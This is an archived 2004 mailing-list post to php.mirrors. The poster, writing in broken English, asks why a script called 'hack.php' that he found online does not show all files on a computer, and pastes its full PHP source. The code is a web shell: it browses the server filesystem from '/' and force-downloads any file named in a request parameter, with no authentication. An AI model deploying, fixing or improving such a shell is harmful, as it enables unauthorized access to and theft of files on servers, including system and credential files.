Not see all document in computer. ?

From: Date: Fri, 16 Apr 2004 14:43:52 +0000
Subject: Not see all document in computer. ?
Groups: php.mirrors 
Request: Send a blank email to php-mirrors+get-24361@lists.php.net to get a copy of this message
Hi. I can a leatle speak english. I searching hack php in google.com Searching Complate hack.php hack.php see all directory and files in computer. All system. Why. see all directory and files in computer. Dont see hack.php all directory and files in computer. Please knowledge me email adress support@avrupa.net Thanks Regards Alpaslan hack.php ==================================== <?php #################################### $default="/"; # <== dont change $this_file="./hack.php"; # <== change if you must # if(isset($save)){ $fname=str_replace(" ","_",$fname); $fname=str_replace("%20","_",$fname); header("Cache-control: private"); header("Content-type: application/force-download"); header("Content-Length: ".filesize($save)); header("Content-Disposition: attachment; filename=$fname"); $fp = fopen($save, 'r'); fpassthru($fp); fclose($fp); unset($save); exit; } echo "<div align=center> <font face='Arial' size='2' color='#000000'> DOCUMENT ROOT: $DOCUMENT_ROOT <form method=post action=$this_file>"; if(!isset($dir)){ $dir="$default"; } echo "<input type=text size=60 name=dir value='$dir'> <input type=submit value='get contents'> </form> </div>"; $path=$dir; if(isset($dir)){ if ($dir = @opendir("$dir")) { while (($file = readdir($dir)) !== false) { if($file!="." && $file!=".."){ if(is_file("$path/$file")){ $disk_space=filesize("$path/$file"); $kb=$disk_space/1024; $total_kb = number_format($kb, 2, '.', ''); $total_kb2="Kb"; echo "$file - <a href='./$this_file?save=$path/$file&fname=$file'>save</a> - $total_kb$total_kb2<br>\n"; } else{ echo "<a href='./$this_file?dir=$path/$file'>CD></a> $file<br>\n"; } } } closedir($dir); } } ######### # code ends echo "</font>"; ?>

« previous php.mirrors (#24361) next »